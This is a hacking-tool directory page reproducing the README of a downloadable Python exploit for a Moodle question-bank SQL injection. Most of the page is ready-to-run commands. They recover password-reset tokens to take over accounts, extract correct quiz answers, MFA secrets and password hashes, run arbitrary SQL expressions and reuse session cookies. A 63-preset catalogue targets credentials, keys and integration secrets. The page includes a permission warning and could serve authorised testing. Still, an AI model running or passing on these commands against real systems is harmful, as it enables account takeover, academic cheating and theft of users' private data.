Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/caveeroo/cve-2026-102578
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPapers & Research
GitHubcaveeroo/cve-2026-102578

CVE-2026-102578

Dependency-free Python proof of concept for CVE-2026-102578, a Moodle question-bank SQL injection. Detects the vulnerable path, evaluates Boolean SQL expressions, and extracts scalar values via 63 presets.

View Repository
101 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    915
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    891
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    678
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    454
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    404
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    388

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-102578

+------------------------------------------------------+
| CVE-2026-102578                                      |
| Moodle question bank SQL injection                   |
| Boolean oracle, scalar extractor, 63 Moodle presets  |
+------------------------------------------------------+

CVE CWE-89 Python 3.10+ No dependencies Author License

A dependency-free Python proof of concept for CVE-2026-102578. It detects the vulnerable Moodle path, evaluates Boolean SQL expressions, and recovers scalar database values. Its built-in presets cover account recovery, access tokens, assessments, grades, submissions, messages, private-file metadata, course content, configuration, and bundled integrations.

An active password-reset token can lead to account takeover through Moodle's normal reset flow. The exact conditions, verified chains, and limits are in the full impact review.

[!WARNING] Use this tool only on systems that you own or have explicit permission to assess.

Quick start | Authentication | Presets | Output | Affected versions | Validation | Impact review

Quick start

You need Python 3.10 or newer, the Moodle base URL, a course ID, and the course-module ID of a quiz.

ValueURL exampleOption
Course ID/course/view.php?id=42--course-id 42
Quiz course-module ID/mod/quiz/view.php?id=137--cmid 137

The cmid is the id from the quiz URL. It is not the quiz database ID.

These examples use python3 and POSIX shell line continuations. In PowerShell, use py -3 and paste each command on one line.

Check a target

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137

Recover a password-reset token

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --preset reset-token --param username=alice

The preset returns the latest stored token. A stored token can be expired or consumed. A current token for an eligible local account can authorize a password change and cause account takeover.

Recover a fixed quiz question and answer

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --preset quiz-question-text --param slot=1

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --preset quiz-correct-answer --param slot=1

The answer preset is intentionally exact. It supports a fixed, single-choice question with one full-credit answer. Attempt presets cover the question, right-answer summary, and response that Moodle stored for a user's actual attempt.

Evaluate an expression

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --evaluate "EXISTS(SELECT 1 FROM {user} WHERE username='admin')"

The result is TRUE, FALSE, or NULL.

Extract a scalar

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --extract "VERSION()"

MariaDB is the default dialect. Use --dialect mysql for MySQL or --dialect postgresql for PostgreSQL. Include the Moodle path in --url for a subdirectory install, such as https://example.org/learning.

[!CAUTION] The vulnerable workflow can create a default question category when none exists. Use a disposable clone if database changes are not acceptable.

Authentication

MethodSelect withSecret source
GuestNo authentication optionNone
Moodle account--username USERHidden prompt or MOODLE_PASSWORD
Existing session--moodle-session VALUEArgument or MOODLE_SESSION

With no authentication option, the tool signs in through Moodle's built-in guest flow. Guest login must be enabled, and the vulnerable fragment must accept the request. Normal course or quiz access can still be denied. This behavior is configuration-dependent.

Use an account:

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 --username alice

Reuse a session:

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --moodle-session "abc123..."
  • Pass only the cookie value. Do not include MoodleSession=.
  • The tool retrieves the session key automatically. Use --sesskey KEY if needed.
  • Use --cookie-name NAME for a custom session cookie name.
  • Prefer environment variables so secrets do not appear in the process list.
  • The tool does not print supplied passwords or session values.

Presets

List the complete catalog:

python3 poc.py --list-presets
python3 poc.py --list-presets --json

The human view groups all 63 presets by purpose.

GroupCoverage
systemDatabase, Moodle release, site, and administrator discovery
accountIdentity, profile data, password hashes, confirmation secrets, and reset tokens
accessSessions, web services, OAuth, MFA, private keys, MNet, badge data, and device push IDs
learningMessages, notifications, grades, assignments, private-file metadata, and log IP addresses
assessmentFixed questions, full-credit answers, and stored quiz-attempt data
courseEnrolment keys, quiz passwords, and override passwords
contentForum posts and page content
integrationRepository, portfolio, hub, inbound mail, and LTI secrets
configCore and plugin configuration values

Repeat --param name=value when a preset needs more than one value:

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --preset mfa-factor-secret \
  --param username=alice \
  --param factor=totp

Presets that target the selected course or quiz use --course-id and --cmid automatically. Numeric selectors for other records are shown in --list-presets.

Preset values are encoded as UTF-8 SQL literals. Quotes and backslashes in a value cannot change the generated query structure.

NULL means that the selected stored value was not found. It can also mean that the feature uses another backend. For example, session-data returns NULL when session payloads are not stored in the database.

The tool reports stored data. A returned token, key, or credential is not by itself proof that it is current or accepted.

Input and output

Use a file for long SQL or inconvenient shell quoting:

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --evaluate-file expression.sql

python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
  --extract-file expression.sql

Use - as the file name to read from standard input.

OptionPurpose
--jsonWrite one machine-readable result or error document
--hexPrint recovered bytes as hexadecimal
--output FILEWrite the exact recovered bytes to a file
--forceReplace an existing output file
--no-progressHide extraction progress

Recovered values go to standard output. Progress and status go to standard error. Interactive terminals use compact color tags. Use --color always, --color never, or NO_COLOR to control them.

Download Tool